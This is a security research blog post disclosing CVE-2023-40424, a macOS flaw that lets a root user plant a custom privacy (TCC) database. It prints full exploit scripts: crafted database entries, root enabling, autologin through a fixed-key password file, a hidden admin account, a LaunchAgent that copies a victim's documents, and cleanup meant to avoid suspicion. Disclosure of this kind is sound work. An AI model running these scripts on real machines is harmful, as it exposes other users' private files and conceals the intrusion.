Skip to content
how malware can bypass transparency consent and control (cve-2023-40424)
Blog Security How Malwar...

How Malware Can Bypass Transparency Consent and Control (CVE-2023-40424)

Csaba Fitzl Csaba Fitzl
Principal macOS Security Researcher
14 min read

CVE-2023-40424 is a vulnerability that allows a root-level user to create a new user with a custom Transparency Consent and Control (TCC) database in macOS, which can then be used to access other users’ private data. 

First discovered back in 2022, the vulnerability was fixed by Apple in 2023 in macOS Sonoma’s initial release. But it was not fixed in earlier versions of macOS—one more reason users and admins should update their Mac computers to Sonoma.

Wojciech Regula and I delivered a talk about this vulnerability at BlackHat Asia 2024. Here are the details.

CVE-2023-40424 Exploitation

Changing the user’s home directory is generally not allowed in macOS because it can allow an attacker to bypass the user-mode TCC daemon entirely, by creating a new TCC database in a new home directory and then redirecting the daemon to it. 

This type of vulnerability was first found by Matt Shockley in 2020. Since then, several vulnerabilities emerged—including CVE-2020-27937 (Wojciech Regula), powerdir (Jonathan Bar Or), or CVE-2021-1784 and CVE-2021-30808 (Csaba Fitzl)—that resulted in changing that directory.

The location of the home directory is stored in the NFSHomeDirectory user attribute. Modifying it requires kTCCServiceSystemPolicySysAdminFiles TCC permissions.

When we create a new user, we can specify the NFSHomeDirectory directory for that user, without any TCC access requirement. The issue was that when the new user logged in, that database was consumed by tccd and the rules were applied globally. This meant that, if we had root-level access, we could set up a new user with a new TCC.db and use those permissions to access the restricted files of other users.

There are a couple of ways to accomplish this.

CVE-2023-40424 Exploitation: Variation 1

Let’s exploit the vulnerability with the goal of gaining access to the user’s Documents folder; that setting can be controlled via the user’s TCC database. Our strategy will be the following:

  1. Create a custom TCC.db, with the content we want, in a custom location.
  2. Copy this file to a directory of the root user (/var/root). 
  3. Move the file to /var/root/Library/Application Support/com.apple.TCC/. This location is not protected by TCC.
  4. Enable the root user and auto-login by setting some preferences and creating the file /etc/kcpassword (which stores the password XOR-encrypted with 7d895223d2bcddeaa3b91f).
  5. Create a script to copy the user’s Documents folder on login, then clean up after itself.

A bash script can accomplish all of these steps, one by one. We start with the first item, which is creating a custom TCC database:

#!/bin/zsh

echo "++ Creating new TCC database"
cat << EOF > /private/tmp/tccdump.sql
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE admin (key TEXT PRIMARY KEY NOT NULL, value INTEGER NOT NULL);
INSERT INTO admin VALUES('version',19);
CREATE TABLE policies (    id        INTEGER    NOT NULL PRIMARY KEY,     bundle_id    TEXT    NOT NULL,     uuid        TEXT    NOT NULL,     display        TEXT    NOT NULL,     UNIQUE (bundle_id, uuid));
CREATE TABLE active_policy (    client        TEXT    NOT NULL,     client_type    INTEGER    NOT NULL,     policy_id    INTEGER NOT NULL,     PRIMARY KEY (client, client_type),     FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
CREATE TABLE access_overrides (    service        TEXT    NOT NULL PRIMARY KEY);
CREATE TABLE expired (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     csreq          BLOB,     last_modified  INTEGER     NOT NULL ,     expired_at     INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type));
CREATE TABLE IF NOT EXISTS "access" (    service        TEXT        NOT NULL,     client         TEXT        NOT NULL,     client_type    INTEGER     NOT NULL,     auth_value     INTEGER     NOT NULL,     auth_reason    INTEGER     NOT NULL,     auth_version   INTEGER     NOT NULL,     csreq          BLOB,     policy_id      INTEGER,     indirect_object_identifier_type    INTEGER,     indirect_object_identifier         TEXT NOT NULL DEFAULT 'UNUSED',     indirect_object_code_identity      BLOB,     flags          INTEGER,     last_modified  INTEGER     NOT NULL DEFAULT (CAST(strftime('%s','now') AS INTEGER)),     PRIMARY KEY (service, client, client_type, indirect_object_identifier),    FOREIGN KEY (policy_id) REFERENCES policies(id) ON DELETE CASCADE ON UPDATE CASCADE);
INSERT INTO access VALUES('kTCCServiceSystemPolicyDocumentsFolder','com.apple.Terminal',0,2,0,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,NULL,'UNUSED',NULL,0,1578822650);
INSERT INTO access VALUES('kTCCServiceAppleEvents','com.apple.Terminal',0,2,3,1,X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',NULL,0,'com.apple.finder',X'fade0c000000002c00000001000000060000000200000010636f6d2e6170706c652e66696e64657200000003',NULL,1606772944);
CREATE INDEX active_policy_id ON active_policy(policy_id);
COMMIT;
EOF

sqlite3 /private/tmp/TCC.db < /private/tmp/tccdump.sql

This script will create the default TCC.db scheme and add two entries. The first entry allows Terminal to access the Documents folder; the second allows it to script the Finder. Finally, we use sqlite3 to create the database file using the crafted SQL dump.

Next, the script copies the database to its proper location (/var/root/Library/Application Support/com.apple.TCC/) and enables the root user using dscl:

echo "++ Copy TCC database"
mkdir -p /var/root/Library/Application\ Support/com.apple.TCC/
cp /private/tmp/TCC.db /var/root/Library/Application\ Support/com.apple.TCC/

Enabling the root user is done by creating a password:

echo "++ Enable root user"
/usr/bin/dscl . -passwd /Users/root password

Next, we enable autologin. This is necessary because we want our exploit to execute without user interaction:

echo "++ Enable AutoLogin"
/usr/bin/defaults write /Library/Preferences/com.apple.loginwindow autoLoginUser root
echo 0de82150a5d3af8ea3 > /etc/kcpassword

Autologin can be enabled by first setting a preference in com.apple.loginwindow—namely the autoLoginUser key—and then setting the password in the file /etc/kcpassword. Here we have the XORed password of the user. The XOR key is fixed on macOS; it’s always 7d895223d2bcddeaa3b91f.

Next, we set up a LaunchAgent, which will run a shell script when the user logs in, and an AppleScript to grab a protected file:

echo "++ Drop applescript"
cat << EOF > /var/root/copydocs.scpt
tell application "Finder"
copy file "Macintosh HD:Users:username:Documents:secret.txt" to folder "Macintosh HD:var:root:"
end tell
do shell script "rm /etc/kcpassword"
do shell script "rm /Library/Preferences/com.apple.loginwindow.plist"
do shell script "rm /var/root/Library/LaunchAgents/copydocs.plist"
do shell script "reboot"
EOF

echo "++ Drop LaunchAgent"
mkdir -p /var/root/Library/LaunchAgents
cat << EOF > /var/root/Library/LaunchAgents/copydocs.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
  <array>
    <string>/usr/bin/osascript</string>
    <string>/var/root/copydocs.scpt</string>
  </array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOF

echo "++ Now reboot"
reboot

This script will copy a file from the user’s documents, then clean up autologin, and finally reboot. We do that to restore the user and to fend off any suspicions about the login environment. 

If we run this script, it will get the secret.txt file from the user.

CVE-2023-40424 Exploitation: Variation 2

Another way to achieve the same results would be to create a new user— using either sysadminctl or dscl—instead of enabling root. Before we create the new user, we will need to create their home directory and copy the TCC database. This is because as soon as the home directory is set, the TCC directory will become protected.

We won’t go through every single step again, but just show the differences from the previous method.

Our new user will be joeadmin, and their home directory will be set to /usr/local/joeadmin. First, we copy the database:

echo "++ Copy TCC database"
mkdir -p /usr/local/joeadmin/Library/Application\ Support/com.apple.TCC/
cp /private/tmp/TCC.db /usr/local/joeadmin/Library/Application\ Support/com.apple.TCC/

Next we create a new user and change ownership of the directories:

echo "++ Creating new user"
sysadminctl -addUser joeadmin -password Password01 -home /usr/local/joeadmin -admin
chown -R joeadmin:staff /usr/local/joeadmin

This creates the new user using sysadminctl, but we could also use dscl:

echo "++ Creating new user"
dscl . -create /Users/joeadmin
dscl . -create /Users/joeadmin UserShell /bin/zsh
dscl . -create /Users/joeadmin RealName "Joe Admin"
dscl . -create /Users/joeadmin UniqueID "510"
dscl . -create /Users/joeadmin PrimaryGroupID 20
dscl . -create /Users/joeadmin NFSHomeDirectory /usr/local/joeadmin
dscl . -passwd /Users/joeadmin password
dscl . -append /Groups/admin GroupMembership joeadmin

If we stopped here, there would still be a problem: On first login, the initial user setup steps through a bunch of settings screens (for Siri, iCloud, Restore,  and so on). We don’t want this, because it would break autoexecution. But it can be disabled by adjusting preferences; we also set file permissions for these new files:

echo "++ Disable SetupAssistant at first login"
mkdir /usr/local/joeadmin/Library/Preferences
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist GestureMovieSeen none
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenCloudProductVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastPreLoginTasksPerformedVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastPreLoginTasksPerformedBuild 21C52
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenDiagnosticsProductVersion 12.1
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist LastSeenBuddyBuildVersion 21C52
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeAccessibility -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeAppearanceSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeApplePaySetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeActivationLock -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeCloudSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeePrivacy -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeScreenTime -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSiriSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSyncSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeSyncSetup2 -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeTrueTonePrivacy -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeTouchIDSetup -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist DidSeeiCloudLoginForStorageServices -bool TRUE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyLaunchedPostMigration -bool FALSE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyLaunchReason -bool FALSE
/usr/bin/defaults write /usr/local/joeadmin/Library/Preferences/com.apple.SetupAssistant.plist MiniBuddyShouldLaunchToResumeSetup -bool FALSE

echo "++ Setting user ownership"
chown -R joeadmin:staff /usr/local/joeadmin

Otherwise, the steps are the same as in the first variation. 

CVE-2023-40424 Exploitation: Variation 3

There’s one more way to create a custom TCC database for a new user. Everything is the same as in the variations above, except that we use the template directory to plant a new database:

echo "++ Copy TCC database to Templates"
mkdir -p /Library/User\ Template/Non_localized/Library/Application\ Support/com.apple.TCC
cp /private/tmp/TCC.db /Library/User\ Template/Non_localized/Library/Application\ Support/com.apple.TCC/

CVE-2023-40424: The Fix

Vulnerabilities like this, by their very nature, can't be fully detected or protected against; vendors must update their software.

Apple’s fix in macOS Sonoma is two-layered: First, the user-level TCC database will not grant you access to other users' private files. Second, a new TCC database will be created upon first login; thus, any previously created file will be deleted by the system.

About Kandji

Kandji is the Apple device management and security platform that empowers secure and productive global work. With Kandji, Apple devices transform themselves into enterprise-ready endpoints, with all the right apps, settings, and security systems in place. Through advanced automation and thoughtful experiences, we’re bringing much-needed harmony to the way IT, InfoSec, and Apple device users work today and tomorrow.